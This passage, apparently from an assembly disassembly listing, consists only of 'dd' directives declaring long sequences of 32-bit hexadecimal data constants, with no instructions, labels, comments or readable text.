333349F7h, 0CEBF3536h, 3F4E2001h, 0D43E34B7h, 27E795E3h dd 1AC22445h, 1EDD1CD1h, 10C8112Fh, 14D516C1h, 9470B0Ah dd 0D8F0F9Fh, 5250724h, 10E0319h, 225E2403h, 1E4F2078h dd 26241C57h, 282825C6h, 0B2F2B5Eh, 0CE00A11Eh, 6B053502h dd 0CF09D807h, 4B0E540Bh, 329F70Ch, 62A2382Eh, 0EB29572Dh dd 0E83756A5h, 0A5753E03h, 0F4AC163Dh, 16231339h, 66289637h dd 7C7B35B0h, 9603C1Fh dd 75495A7Dh, 7A20C904h, 35A0505h, 0AEDAA224h, 2D5BD22Ch dd 0DB64CFBBh, 2CB65C90h, 395A01B1h, 0BA1E1D28h, 681B2F19h dd 7227A54Ah, 0A34D22A2h, 2CA8B121h, 28A8B971h, 7E37B1CDh dd 331E32B6h, 4933EB7h, 0BF493ABEh, 1B992B39h, 73269EA3h dd 2322A600h, 3D2EA720h, 0B8632DAFh, 0B43629AFh, 33B5AB34h dd 3FBCAACEh, 3BBDDA70h, 0D1BBAD4h, 715B7439h, 2652A8C9h dd 1324321Eh, 2EBAC208h, 32678416h, 0F3F960Ah, 710C348Dh dd 681927B9h, 0F36D23BCh, 3D03942Ah, 0A1748BC8h, 3AA46939h dd 5637A541h, 10E30AEh, 1C58125Ah, 671D6FB6h, 3BC3D1B4h dd 3CFBBB4Eh, 1F1E081Ah, 0D3BDC81Ch, 0E37A3423h, 89D0C57h dd 0AC3EC429h, 3AB319BFh, 4F142671h, 0C5C6C85Bh, 0C0490E5Fh dd 6D17892Ch, 91294C3Fh, 0A52EC022h, 32393627h, 27CE189Eh dd 0E1147FA5h, 686A6C36h, 0B05C6C36h, 0AC003B37h, 9E43C4Fh dd 0D1D6F29h, 24708065h, 0FDD81B58h, 2C0C1914h, 155B2C25h dd 3FCB5641h, 0CD9E2841h, 9DFD2F39h, 11703D31h, 87145F28h dd 0F38CA42Fh, 1420370Ch, 1B2C19E1h, 0AF13A620h, 35623420h dd 77236738h, 0BF002D38h, 7A3DB83Bh, 1E4C1F9Ah, 0A371239Bh dd 25257620h, 3A2AA97Ch, 482E2C78h, 326533AEh, 0B6443630h dd 2E97534h, 3C383C7Fh, 1D1C1BC0h, 2220131Ah, 664C0302h dd 2ED82E26h, 652C3723h, 315C652Dh, 3C0D2B3Bh, 929673Fh dd 43C70015h, 0F427BDEFh, 0F1E4F1Ch, 0E5070675h, 18777425h dd 89EB3389h, 7CCFABC5h, 342931D0h, 3BB53736h, 5DF9B905h dd 9EABD66Fh, 0AF4E4C7Ch, 0B74A0D22h, 7FB9341Ah, 0B83CE4C0h dd 0A72C2D5Bh, 338136E3h, 0FD7FCB2Ch, 26B14088h, 3D1AE780h dd 461E3C1Ah, 7B21711Fh, 24CE2425h, 56A2DE14h, 0A549300Fh dd 753B71BBh, 763B3461h, 1E794C64h, 54E8C373h, 27192A2Bh dd 7B25BC4Bh, 0B5306552h, 39B95B6Fh, 2F2CAADAh, 0A8E3D002h dd 2900DA8Bh, 0D083702h, 95C0F76h, 98130B42h, 777D9229h dd 10EF1691h, 0C013F28Dh, 9A0B011Bh, 1A114607h, 1DACEA27h dd 0C2471FA3h, 0D80DF211h, 2DD3083Dh, 29E22BE8h, 2F152124h dd 1B110513h, 1C6A6D1Fh, 184E1A60h, 472B914Ch, 37421134h dd 13A4D17h, 7A3E49E9h, 9B4D1C6Fh, 22A07B1Ch, 408F3E33h dd 0AF582853h, 2EA8502Ah, 0E731B1A8h, 33A70A33h, 3ABCA536h dd 1E3DBD93h, 18AFB101h, 21A5A11Fh, 0F124A6EBh, 0F67E27A3h dd 134C2BABh, 0C2D85BC4h, 0E26AA74h, 0D13B37D5h, 0B33CD9D9h dd 0CF3F3A9Bh, 40511EFCh, 0E6E52982h, 8C15FC25h, 2CF99322h dd 0C086258Ah, 3389D31h, 38383D4Ah, 43A33647h, 0DB334D31h dd 967E7610h, 81113715h, 2607B72Eh, 6E0923EBh, 0B0A2C2Eh dd 63365B10h, 5F36375Eh, 2E1EC66Eh, 0BC7A3D5Ch, 525D16E3h dd 482DB03Bh, 38257533h, 0A297F74h, 0E2D7029h, 0CDC9BB79h dd 37E4BC26h, 6466FF7Bh, 35AD1839h, 1CA2123Fh, 9981F3Fh dd 24242223h, 0C44E27CEh, 456B292Ah, 11B1060Ah, 71B06262h dd 517CB72Eh, 343D7A1Ah, 0F47E71B3h, 70459ECAh, 9436DD61h dd 2A2624FFh, 0F743AF40h, 112F5D58h, 3C12336Ch, 325A2653h dd 79BBEC5Fh, 18875830h, 0DF839A6Ch, 6F2A2265h, 0CF242D20h dd 2B0F2A87h, 2F787C28h, 47BBC0BBh, 79BB3110h, 7FFD5938h dd 3F3F2D18h, 98F51C18h, 0AFDEDE8Ah, 0E067166Dh, 2B293427h dd 342F55C3h, 0A30152Bh, 0DE3534CCh, 0B127385Eh, 36193C77h dd 10957F61h, 0A2501B1Eh, 27E733E6h, 0FEF029F4h, 0F8662F2Bh dd 3080212Eh, 35EFDF3Ch, 0E96AC732h, 0D794353Ah, 1D1F363Eh dd 214AB600h, 2A22E43Ch, 243A2799h, 0B9C76028h, 310F202Ch dd 5C32567Bh, 3137DD1Dh, 543A4293h, 77133F4Dh, 1E9A131Dh dd 22B60B0Ch, 426AA14Ch, 435E4E46h, 6E212FFCh, 0FA321002h dd 123AB327h, 0AC33394Bh, 38C33F33h, 0E9151E4Bh, 5C27201Fh dd 21253032h, 0EB2B2267h, 76627E24h, 0A13B3028h, 79383432h dd 797C7679h, 3B3D683Bh, 1D485E78h, 20D11C1Fh, 21F21C56h dd 0FB81CF25h, 384C922Eh, 0E3442BF2h, 3130E808h, 0FA883E46h dd 9D0C1E0Ah, 0F4492B54h, 0C1B8C5Eh, 208B26B7h, 2CB546CDh dd 0A52FB559h, 403A2AB1h, 3D736138h, 6FA437h, 6C233753h dd 0A1FC9D5h, 0F71B1475h, 356E1434h, 69194405h, 0CBCFC102h dd 3B16AD37h, 37144513h, 930D1562h, 0F33A8332h, 6161C2C3h dd 0A1D18D9h, 2228B01Eh, 702508EFh, 0E295CACh, 0A32C4623h dd 32D94E61h, 0C9CAFFC6h, 4B518167h, 3F3D783Bh, 0E2D2EDD7h dd 0EFC81FE1h, 452DE52Fh, 0C12CE637h, 0A0AEB71h, 10C40502h dd 19173028h, 511DF7D2h, 0DF96FFAFh, 0F43FB436h, 0C292BE89h dd 0C9D3E838h, 31C1083Ch, 8AB2E1Ch, 0B4F7484Eh, 6BB26615h dd 39A21276h, 246E7933h, 0FA1B1AB1h, 0E0125A1Eh, 21CA2120h dd 6B2824CEh, 4F74210Ch, 2F232DA5h, 23F6B234h, 3735A5F7h dd 0B0522438h, 3E3EFAFDh, 1EFD421Fh, 0B236222Ah, 0D560243Bh dd 0AAC16D34h, 0D1D2FB59h, 0B62F7EA2h, 0B4572674h, 0BAFF0B31h dd 6BD53D3Dh, 43431B4Ch, 0E27BDF2Dh, 9D7A7C22h, 722B2727h dd 20BC29E9h, 21DCACB2h, 371077BFh, 69A63736h, 0E5B02EC5h dd 971AEF3Ch, 7E1FE220h, 261F239Fh, 4228067Dh, 2CA5A756h dd 0B07E7862h, 0F0B0E5CEh, 3BD9B739h, 4B3B3B62h, 3F4BE040h dd 0A98E2C04h, 870DCA30h, 0A4353465h, 5ED56117h, 0C4254C24h dd 2B51213Ch, 563AB50Bh, 0CB79813Ah, 5C6EBD00h, 1EF0990Ah dd 2F54E594h, 0E5AE7A7Ch, 6829F9D8h, 0A12C5EDAh, 3D313F0Fh dd 39353B33h, 3A363737h, 0E63F6AC4h, 1F1C3B14h, 21BFCCF7h dd 6CABDD20h, 0B9C12526h, 6898382Bh, 0A38F29AFh, 0F3F322Dh dd 3C397628h, 1939FA13h, 149BFFCEh, 241E0756h, 256A29C7h dd 28950721h, 2D23562Dh, 85BD9929h, 0DF413EF0h, 889A3774h dd 3C533FB9h, 4D36DF3Ch, 941E7B1Ah, 6CAF2567h, 27747422h dd 2F6CA04Eh, 0F5D238D3h, 0B5323372h, 0F03AF1B7h, 2EC52C5Ah dd 0FDB63D3Ch, 7C9F9429h, 612CA795h, 26842541h, 2EEB7678h dd 2EE17EF4h, 361574A5h, 0B7BDF4B7h, 12B0B916h, 0DE151867h dd 195C2F3Fh, 3464E026h, 0A02D0372h, 398B71E6h, 0AF3AA55Fh dd 913B0E3Eh, 1BDC6336h, 2D723D95h, 9D243991h, 3C1A8F3Ch dd 0A0FC5608h, 601D475Dh, 16582AE7h, 2C342A36h, 0B32F3A1Ch dd 75DF2EDDh, 0AE34775Eh, 0CC6E382Ch, 192A567Fh, 0D41C0CDCh dd 76F42334h, 53C72090h, 2B5EC528h, 2D2E59DBh, 70B18B4Ah dd 0C6364439h, 3B3A486Eh, 0CB931EE2h, 1E6C321Bh, 0D61863AFh dd 26546023h, 656AC84Ah, 6DCD2C5Ah, 32314175h, 73BE51EDh dd 0FD6A3437h, 3A3DC07Eh, 11591BB6h, 6CAB1111h, 7024A82Eh dd 0D575AC2Eh, 2D2ED2A9h, 0F1033856h, 3636B854h, 0D0BBEF36h dd 3FFEB838h, 1DE23FBDh, 0D99CF062h, 50032321h, 0A2E71534h dd 0AF2A2FABh, 712EEC29h, 3EF34D35h, 0F9B1BC65h, 6C692D39h dd 0FC03D66Ah, 0B51BB90Ah, 3D291027h, 460D2E16h, 2F1B9C3Ah dd 98256D41h, 38723611h, 463D72BAh, 6B233B23h, 0DF62D527h dd 4A01FB5Dh, 99830C3Bh, 274F7403h, 11342E75h, 283C2E2Ah dd 349E3632h, 2E95329Ch, 3C9273DFh, 91D00CE2h, 1C2CDE39h dd 209919B8h, 8A228C20h, 2F859620h, 0CC4C34Ah, 47242825h dd 0DD40359Dh, 6F3E9E54h, 3B9A3D95h, 0B2CD00D8h, 0F15EAD36h dd 0EC396221h, 890B26C6h dd 7319276Bh, 515B2E9Ah, 46A3531Eh, 7C56535Dh, 0F7602806h dd 0F705B438h, 19192719h, 0BC2B2100h, 28BD602Bh, 40BFE96Ah dd 65CE4558h, 0D05ACB57h, 38C8263Bh, 6A653F51h, 319D2D61h dd 10A30C5Dh, 7E720D00h, 558B6469h, 456B0827h, 0EEA84845h dd 7ABC5F51h, 0C7358C70h, 0B7C9C8C7h, 3ECA0E07h, 0DCC690DEh dd 0E11319F5h, 0AFEBA822h, 2BE9A437h, 29B82BA2h, 71332F82h dd 712CCBB1h, 5BC8D948h, 70B13B8Ah, 744B6757h, 0F0795FE5h dd 3A73DAA1h, 3EA74F90h, 8AFA7A3h, 24A8AE3Dh, 0F57BB2F6h dd 47F63F7Fh, 4DFBE29Dh, 0C1FF2BC2h, 1B42DD15h, 0AE19E19Fh dd 37ABA530h, 2FA7FE2Ch, 0A2AE2C6Ch, 0E875399Ch, 0BC74F5BBh dd 39D47EBCh, 333FFC8Ah, 1C8020DEh, 0EBA4801Eh, 0E766A02Ch dd 2BED353Bh, 2F2C9C2Ah, 4C30318Dh, 58343566h, 3B653936h dd 3F3C703Ah, 1C1D4E09h, 37211E38h, 24222223h, 0CD82DD27h dd 2CC62A2Ah, 3031F72Fh, 9FB4B22Ah, 0F39361Eh, 3C703A3Bh dd 1D1A613Fh, 211E64B7h, 0BA2223AFh, 0C0772724h, 3C38A975h dd 30AC0E2Ch, 41321249h, 5EDF662Fh, 2BBB3E23h, 0AA3EDF30h dd 1F740C2Eh, 3A8220CAh, 0FC38D430h, 220806D8h, 28D02FCCh dd 3C133984h, 30293D7Ch, 39D53933h, 0EF9B34D3h, 17F92E1Eh dd 2BCFDDA3h, 0A62F75E5h, 2228281Dh, 5EEAA824h, 77BA562Eh dd 3BE14CBh, 0B3BE417h, 36B65A33h, 0ED1D1B72h, 0DE713B33h dd 51AF27F4h, 0A2F0A1E6h, 0D46DF6Fh, 15A4A22Fh, 5F369312h dd 0B3EA1249h, 681D4AFDh, 913DAFC2h, 803BBA91h, 67932353h dd 33A6244Fh, 0FBC3A679h, 346A659Ch, 0D5CDDA37h, 3C727317h dd 78124A9Dh, 1F090219h, 1B294C3Eh, 0B22A05B4h, 2A64262Ch dd 62B88BC0h, 96C62A28h, 0A0363579h, 6176673Ch, 0C324E43Ch dd 37AEFD30h, 12FE591Fh, 0B2206952h, 0F1E3342h, 80EF1445h dd 8C2C2D6Bh, 7BCF9CA2h, 0CF723632h, 9BEB3A37h, 0AC703CBBh dd 0B51DFA53h, 52215F64h, 122E27Dh, 28683948h, 2DAC5C93h dd 0D069D05Ah, 0D76DBC33h, 0CC1CB5A3h, 0AF5C7B38h, 171B9E02h dd 20153F5Bh, 242CEEDFh, 2828262Ah, 2C242A26h, 30202E22h dd 3B333DCEh, 37373935h, 333B3539h, 143F313Dh, 1F11E21Ch dd 232D212Fh, 2729252Bh, 2B252927h, 20D12D23h, 3C323E30h dd 38363A34h, 343A3638h, 383E323Ch, 6B1E1C14h, 324F253Eh dd 21D67D2Bh, 2ED83FA8h, 27FADBA2h, 3E213221h, 60324A0h dd 0B5379A15h, 0B5CCBC2Dh, 1DF44B39h, 0D006FE1Fh, 0AC200972h dd 0F131D728h, 0C250436h, 11ACAD27h, 2EECC53Bh, 285777F6h dd 823424E5h, 1C14B01Fh, 20101E12h, 27E2222Eh, 2166AD25h dd 2C23BAEAh, 582730A2h, 2AB94CD1h, 0C9BC6064h, 184FB3B9h dd 0C1FED639h, 51BE116Ch, 0C82FC929h, 97742555h, 2B3A6927h dd 0C5D3C528h, 23BC31E0h, 0F13535AFh, 0D33B39C8h, 247778D1h dd 1714B529h, 3004EEA5h, 3201C42Eh, 4BEE06A7h, 4E316D13h dd 19D96063h, 7A503E31h, 3F3934FDh, 0B034AE7Ch, 383A2B8Ch dd 51C26910h, 4F212508h, 133D2222h, 46CD373Ch, 2656139Fh dd 0C830933Fh, 37782106h, 393C2EDBh, 1D1B3F6Ch, 0DC1F7CB8h dd 0DC062800h, 7AD32677h, 7EDB2029h, 202EC22Dh, 3533F5F0h dd 7BD6E215h, 849A3B39h, 0EA37B56Bh, 0D0BEAEF4h, 2B0665D6h dd 20522424h, 0D496C17Eh, 76D10DD3h, 0F26CF7BBh, 66F7BE35h dd 0E23F3969h, 3A28790Ch, 1B097DB9h, 0D62E4A0Fh, 23B52A27h dd 2BD92B25h, 7F3E4607h, 0A01AE2C7h, 343021BDh, 8AD73D27h dd 94ABB15Eh, 4F19195Bh, 38A91A0Ah, 20303227h, 2DD83430h dd 1C682113h, 0B3D87F24h, 363129A7h, 0F7B23226h, 0FB267DB3h dd 1CBB2678h, 197B761Ch, 64061890h, 55A7C33Ah, 2D2A1A2Dh dd 3F270173h, 37496831h, 942431D5h, 357CB1F7h, 0D95DD66Dh dd 0F7D04F8Dh, 4E3C81E8h, 1411912Ch, 48224629h, 3FDE8C24h dd 7CB83955h, 0F80B3134h, 63EEF05h, 86361D45h, 0E422E924h dd 26211F1Fh, 0DA242422h, 6B2A2827h, 731D6A1Bh, 231581Fh dd 6B0044Ch, 3A910894h, 0F40D830Bh, 0F02CFA0Fh, 102B2F1Eh dd 140A1232h, 7A192319h, 1C540C4Ah, 31851E8Bh, 35BFCD03h dd 47B560DFh, 3971B644h, 1C2FD73Ah, 0EF944E56h, 0C42214C9h dd 0D7ECA538h, 0A924EAACh, 302E0A6Dh, 74925A33h, 91377B11h dd 0F8B83839h, 1BBBB739h, 1C1E9538h, 0E419DE13h, 39AAC24h dd 5F2929A8h, 0E7A53D25h, 273142D8h, 0E48036E4h, 6D0EC33Bh dd 1461CA17h, 45A21FFAh, 222E2010h, 29252BB4h, 0E43FD927h dd 0C2AC3AD0h, 64294F9Fh, 0ABB5C200h, 8EB0A797h, 6E99E61Fh dd 3BDCD828h, 0B1DA338Fh, 9D0C130Eh, 390ACF76h, 5F4C3B0Fh dd 8560CA23h, 846D0B32h, 0DB0C9636h, 1A3D1F38h, 3E163B2Fh dd 711E3C2Dh, 2D929A49h, 1325CE70h, 0C5372E3Bh, 322F3E72h dd 35338B31h, 0B35363Dh, 80B62AF9h, 124FB619h, 5AB5EE4Fh dd 0A2AE2A30h, 7272528h, 73780368h, 7F28A9C4h, 35E06D88h dd 0E62DDFBh, 0ADB03948h, 98DF5E1Eh, 399DCA1Dh, 0AA079376h dd 0A72F947Fh, 37A834D6h, 328DBFB9h, 0CD022CBEh, 0ABDD11B1h dd 1B1C1A66h, 203C289Ch, 22C9223h, 113B04F6h, 0C53AC023h dd 0FA82446h, 142EA047h, 83E3978h, 310A1333h, 3E3A0106h dd 13D5AF96h, 1EE30F3Fh, 31C4F82Dh, 252D7011h, 29D41E35h dd 3C3BEC39h, 0DEC602E9h, 37B2BDB1h, 9434B4D3h, 0BEE518D0h dd 0CDD6E23Eh, 77A61E9Ch, 0AD3E238Dh, 17AF392Ah, 2AEB2886h dd 2FAB071Eh, 31D64C70h, 0C636447Ch, 0CA3A48BFh, 5F3C38BBh dd 0BE196928h, 2724787Fh, 23246409h, 28087FBFh, 2A09ABDAh dd 8D35149Eh, 0EDF83017h, 21993846h, 0BE3D4DE0h, 1D6DF21Bh dd 0D68617CEh, 50742353h, 0C130B823h, 39CF99FBh, 673A884Eh dd 0DDFC3BB9h, 0D200E7EBh, 31FC0838h, 117BCFB5h, 0AB491E3Dh dd 3335CAEAh, 2F472715h, 0C72D0E20h, 0F9711D10h, 1E635D73h dd 56F61DF4h, 1C3B7A6Bh, 1B7F6E37h, 70B7F34h, 0F212130h dd 0ED0DD4CCh, 0CFFB298Bh, 2B0E2EC5h, 37226023h, 364737F4h dd 0D33B2CA1h, 5D12CD65h, 8F3D74BBh, 0CA703011h, 5A581A0h dd 8DC90C93h, 0CF1D227Bh, 60293AEFh, 163C1A03h, 1AB8271Ah dd 1F0C239Bh, 3D9C8E8Fh, 0C36DF71Dh, 6F21E385h, 7B2D2645h dd 4DFA2AEFh, 4A342FA5h, 7C925C33h, 5C890A34h, 0F4503E3Bh dd 8E9C3A3Fh, 0A2091E3Fh, 1936A328h, 8C25A7B2h, 242BB061h dd 3DAE2A8Eh, 0A66F307Fh, 0CCB3B43Ch, 0D33EBB49h, 0BF3DBF08h dd 7D9F5E46h, 232D67A5h, 2729252Bh, 2B252927h, 2F212D23h dd 3E31313Fh, 3339F534h, 0FD2696Eh, 2C7EAC9Fh, 0FF08E3EBh dd 12DE0533h, 5FA5A411h, 2A246020h, 643FBC2Ah, 2A7BD06Fh dd 672128B3h, 1A2D38B7h, 3E0DB8B6h, 4F338B3Eh, 212DAF4Fh dd 150A874h, 0C17E672Eh, 0D2D10C56h, 3044442Ch, 0F66AB330h dd 39FF31BDh, 33B75B3Fh, 1D0EC06Fh, 0E7051EA3h, 202324C1h dd 9523E616h, 652F7338h, 792A022Fh, 381776BAh, 0B8363940h dd 32B03111h, 176EB563h, 1D1894FCh, 4382A0C0h, 2C272521h dd 4B3A3B2Bh, 2F2D2D53h, 0E324E131h, 4462336h, 3B3B3C38h dd 823EBD3Dh, 6397B3B3h, 229F31D6h, 27252CD7h, 0A300380Ch dd 2A2CDC2Ah, 0D9BBB872h, 273DFD2Fh, 3B0BD0A8h, 3E3F5C73h dd 0DAD81C3Fh, 0C9000F58h, 527637EFh, 34D021B6h, 0AEAC967Ch dd 45905A8Ah, 306145D0h dd 2D76BA9Eh, 2E6070DAh, 1D4E2F13h, 2F0BA142h, 2B232D21h dd 7F309525h, 4D2725A9h, 3FD0503Dh, 38C3E2B5h, 7C3839E5h dd 0E929FCBDh, 7369BA32h, 1DD4BDDCh, 63D41221h, 409E57Dh dd 144AE969h, 0AD6EA639h, 3FCD61E0h, 35960521h, 4E459039h dd 3CB68339h, 1BBF1F1Bh, 824935E0h, 28452921h, 2BA06B2Ah dd 0A52F5974h, 0DC6F26E9h, 65353961h, 6D35D056h, 3F1534BEh dd 291BDB3Ah, 0A80C1B5Eh, 20380776h, 0E94E23A2h, 61A40529h dd 31352D06h, 3AF53031h, 3E4CF7B3h, 0C2691369h, 4F167FEEh dd 0ABCF3B5Bh, 3C62D337h, 8B0B2BE5h, 0D9A0E43Bh, 0B33F4E3Ch dd 273136F5h, 1BE6BDCFh, 7C073D79h, 10167CAFh, 594409F1h dd 61866065h, 0F8ADEE0Dh, 1EE58D6Ch, 8DE689E8h, 61546124h dd 0DE334595h, 1A93DABCh, 0DDFF261Ch, 963D3C1Eh, 0E2EA23CFh dd 0CF06F73Ah, 0E2F7A45h, 3A8E35EBh, 91C92793h, 15C93CDCh dd 396839EEh, 0F059D469h, 0AC9C09B9h, 0C9007F7Dh, 0B43B5320h dd 0C1344F24h, 0A62EBA29h, 25D03E4Fh, 3E2428BEh, 29231427h dd 2E37AA31h, 1CAD4034h, 0B5941C1Dh, 4E20229Eh, 0A5262625h dd 28B70EA5h, 582D2E2Dh, 34733331h, 4CBE6737h, 0FB731E39h dd 1A7B1A79h, 0E01D0D1Ch, 4322A135h, 270271A9h, 0C37C7B18h dd 2D2EE9ECh, 158A3135h, 0B3BB1034h, 3B3B011Ch, 3B543F3Ch dd 0CDE24A4Bh, 6A5AB0Fh, 3292414h, 292928D8h, 0AD425863h dd 24532C7h, 0BA377C21h, 3A493040h, 364B3EBBh, 4D4E2B14h dd 35044B05h, 552C2352h, 0DE282B26h, 0AEF4DCF0h, 1312FF4h dd 3524F169h, 393E25F6h, 1CE76D69h, 8131B16h, 283D4B8Ch dd 542BE3F9h, 0C3F4CE25h, 38230868h, 311E608Ch, 12C23A1Dh dd 57B75E19h, 55BC9B7Ch, 33570F1Dh, 2F312E21h, 533DC90Ch dd 3B17150Eh, 0C37A2B39h, 2FFE3C7Eh, 32F41558h, 0B436D537h dd 8A12FFFCh, 27D66B3Dh, 1FA5399Bh, 1221C819h, 773924A3h dd 2BC594CFh, 0AA29011Ah, 0DBBA44EFh, 40546365h, 2EBF38DFh dd 7BB7C3C4h, 0C69C2828h, 0BDA9DC24h, 21C4B306h, 0A7AC2826h dd 8D2E2B39h, 0D39A2FBAh, 8BF3232h, 3BB8EF92h, 32FF013Bh dd 1E7B44BAh, 5A951Dh, 2A56E11Ah, 345A66A6h, 1739552Ch dd 8F2E2CADh, 75823901h, 69132770h, 6CC21134h, 90C81EB6h dd 6DE496C5h, 23E9AA30h, 25CFE46Bh, 0E0A18CDBh, 2FAE452Ch dd 30D3B233h, 6735355Eh, 9FC93852h, 0D73800B7h, 1B0D17FBh dd 21214827h, 6ED525A3h, 0D4AAD8ACh, 2F2D58D4h, 33317468h dd 36CADD33h, 1E75B334h, 6AB03C2Bh, 4F4D0F1Bh, 6520924Dh dd 14E1306h, 2DD77176h, 72D773Fh, 25CFACD6h, 0CA0D2346h dd 35387323h, 7DB16C6Ah, 746B1B72h, 151F58CDh, 31DC6270h dd 2925FDD5h, 435F1E29h, 10434F59h, 5AB75742h, 111DF451h dd 3C493639h, 2E0EB628h, 331DCF2Ch, 5BC22220h, 142326C1h dd 1819295Bh, 2FDD2B29h, 5C18373Eh, 96522EE4h, 324B150Fh dd 6A7E1D06h, 574F5948h, 6C21A15Bh, 467D6D2Fh, 16D18A27h dd 1381117Fh, 0CDF0EA6h, 9710B1Ah, 59B074Ch, 3CFD3F3Bh dd 1D8C1A3Fh, 5D102E1Dh, 44149012h, 9E19BB17h, 0A01DE11Bh dd 6102E71Ch, 0EE07A601h, 0C00BD505h, 93D3B09h, 285C0B30h dd 14702A4Bh, 131016E4h, 18271150h, 1CDB1AC5h, 30D31ED9h dd 5323201h, 93B0731h, 280A2A39h, 3B0E220Ch, 2E3A1D2Dh dd 1212100Ch, 1B261410h, 6F1B6919h, 2F1F611Dh, 2660060h dd 6560468h, 570B5D38h, 4B0F4D0Dh, 2F611C2Ah, 13A5119Fh dd 1F5715AFh, 1052127Eh, 148916B0h, 9B70B7Eh, 0D9B0F90h dd 63D03DEh, 20A001Bh, 2163275Fh, 1C3F220Bh, 18C71E0Bh dd 173C1925h, 13E01579h, 0E1F103Dh, 37B43032h, 39943636h dd 8D0CAF39h, 3B2A340Eh, 0ED2E9D2Ch, 0D5E55410h, 20D84C20h dd 0CCA15241h, 308E4AE2h, 50631235h, 183713BCh, 3C6E1ABAh dd 271B52B6h, 9CE82E4Ah, 0AA23DC28h, 53AF7B24h, 56AE250Ch dd 17526D09h, 735DB158h, 67618B1h, 0BB76D9ACh, 0CDE60E2h dd 9719783Bh, 22208012h, 52E5A1A7h, 3AD1AB2Eh, 0E2A82323h dd 0BF07A82Fh, 6105244Dh, 382C0CDFh, 300F3C01h, 79091BC0h dd 0AA211DC4h, 7A242222h, 9ECA478h, 6D22A0E9h, 3FB96E79h dd 75233CDAh, 91C374Ah, 251877B7h, 481BB26Fh, 11D0E39h dd 26136922h, 681727C5h, 0AC0CC149h, 11243F2Dh, 0C531EB36h dd 28433664h, 49373503h, 0AD3C2A31h, 429B121Dh, 0DCDDA9DFh dd 0CF2BC47Fh, 334845B3h, 0E715610Ch, 23613642h, 66738DFh dd 0D6D22D36h, 0EB5A4DCh, 3EAD6845h, 4DA148B7h, 32DAA30h dd 1758AAA0h, 0C6291E42h, 62333057h, 93B43483h, 2009BB52h dd 6E753E5Bh, 0BD85F36Eh, 3BE0CA5Bh, 65213372h, 0C9F8E106h dd 65C8783Bh, 21A0C732h, 0F5FD0031h, 0B3082B37h, 1D080F76h dd 0FC1A7F3Bh, 35F40A42h, 5EFDCB7Dh, 1D809EE5h, 0B3CA26C9h dd 56450E8Ah, 0DC3F3A05h, 0C76C77FBh, 9DE7AE2Ch, 5FB6AC5Eh dd 38BB6938h, 210041D5h, 0A427C5AFh, 0EE11D6E5h, 0A8AA3923h dd 133046D0h, 335C4D62h, 0A33C393Dh, 0ED003B3Ch, 20CA221Bh dd 1CCB1EFEh, 0DF1B24CCh, 21162C19h, 11296914h, 62368071h dd 36B53633h, 0A773B37h, 0EFD0C83h, 422D1B26h, 8F11902Fh dd 1424D613h, 1B63153Fh, 3DA81970h, 0DD02E71Ch, 6053B02h dd 0BB0B3775h, 68859209h, 9196172Ah, 3B66DFE9h, 0AE2EE0h dd 2AA7D98Fh, 7829A839h, 0B22A2CACh, 0B55FB833h, 41F7CC37h dd 0BD07B7B4h, 9AD0BC3Fh, 0F69A501Eh, 27A34751h, 23A7297Eh dd 0A92D6BF4h, 0AB2FFC2Eh, 33C213B5h, 96DE6521h, 3A0724B8h dd 2A403C13h, 9D08974Fh, 9A5E234h, 0AB0EA671h, 3A0D6C27h dd 787D2841h, 32E472D0h, 42F5B135h, 0D2133D2Eh, 1ABC533Dh dd 0F4A1463Dh, 0A1DFE05Ah, 0AF2AA9DDh, 29340372h, 0E7166F71h dd 0A53F732Eh, 0A569B2F2h, 0C83E25h, 3156FFB9h, 4D2F3A6Eh dd 254D3418h, 0B6A926D1h, 402287B3h, 7D2E7BE5h, 262A7A7Fh dd 94366292h, 3DA62639h, 0ED9ED369h, 65B23B5Dh, 0EB119D66h dd 207462C0h, 24269DB4h, 14964178h, 2F2F2D68h, 0F68B6361h dd 0AF5ED4A8h, 0FF5A0B19h, 0B7F0C5Ch, 3E093897h, 2E89801Ch dd 144F0472h, 0C88BC075h, 0CEDA3478h, 0C5F12BF7h, 0A933F1EBh dd 72157C25h, 0BE291847h, 1CB8731Fh, 782EF712h, 0AF612A60h dd 66A55DC7h, 7D2CA662h, 45E2AAD1h, 87FCB93Fh, 850DBC32h dd 3DC3897Ah, 16A2A6E8h, 0D9E81D1Dh, 0C05A5120h, 0D7D8D873h dd 2C9379FFh, 302597B4h, 0B9CAC532h, 2C137A35h, 6AEBD26Bh dd 0E4C016C3h, 0A38E17CAh, 57A96920h, 0AA720134h, 0A01E297Ch dd 1A2EC5E2h, 6A30CF6Ah, 3B82974h, 0FEE0DF3h, 0D0B103Ch dd 2BDF2Eh, 0F2732228h, 49124116h, 0AA1EA310h, 19E81B8Dh dd 42AE07E3h, 0EF33406h, 3B00101h, 0E43D05EAh, 0CB260B06h dd 411B6E24h, 19071854h, 180E3756h, 102C184Ah, 2E301260h dd 352BCC32h, 39273729h, 3D233B25h, 1C043F21h, 3FE01E02h dd 3B233D21h, 27272925h, 232B2529h, 0CF2F212Dh, 343C323Eh dd 3838363Ah, 3C343A36h, 1B303E32h, 101E12E3h, 2C222E20h dd 28262A24h, 242A2628h, 1055D22Ch, 2338043Ah, 37463F00h dd 3B353327h, 373E94F0h, 28ED1A90h, 0E6704015h, 0B62C2D93h dd 2B6FEF2Eh, 2A2D2A31h, 0A5202771h, 3588343Bh, 6C349966h dd 3A3D7FB0h, 1DE3E402h dd 2127631Ch, 0E5167E7Ch, 1AEB7E7Dh, 2E55E22Ah, 59645B3Eh dd 0E357340h, 3D38F7B5h, 0B838F8B9h, 1CC04BC8h, 0F76BE198h dd 0DE20D022h, 3ACF7165h, 0EC5F2929h, 55AF003Bh, 19135749h dd 2435165Ch, 563A3A39h, 0CD73F3Dh, 6A1D1D1Ch, 22CAE221h dd 86A72124h, 19A12E29h, 4F70EB17h, 0B9F3A53Fh, 3A2F3EF5h dd 0FB7F6A34h, 50FE6A1Fh, 9F9DF40Fh, 7511D889h, 249649CBh dd 0A17A6885h, 797D2CE5h, 0CC8F47C7h, 0F63063CCh, 3FB96F90h dd 0D625B56Ch, 1A9D7A70h, 66C84826h, 976422E3h, 0F8282403h dd 2F7E292Ah, 505F2F62h, 575D7F56h, 0BB795644h, 6A3F9F2Dh dd 7418564Ch, 0F51E1A1Dh, 41773520h, 775648h, 2C435E48h dd 37AE5F23h, 4773537Dh, 4A457341h, 4FBC3A56h, 7438BC1Ch dd 1D727C7Fh, 23572362h, 27366826h, 99A8C12Ch, 0E826C51Fh dd 0C3D20936h, 71F13536h, 0FD3E3929h, 3F1E96BAh, 40DB971Fh dd 0E6A2753Dh, 0B6E6345Bh, 2C562823h, 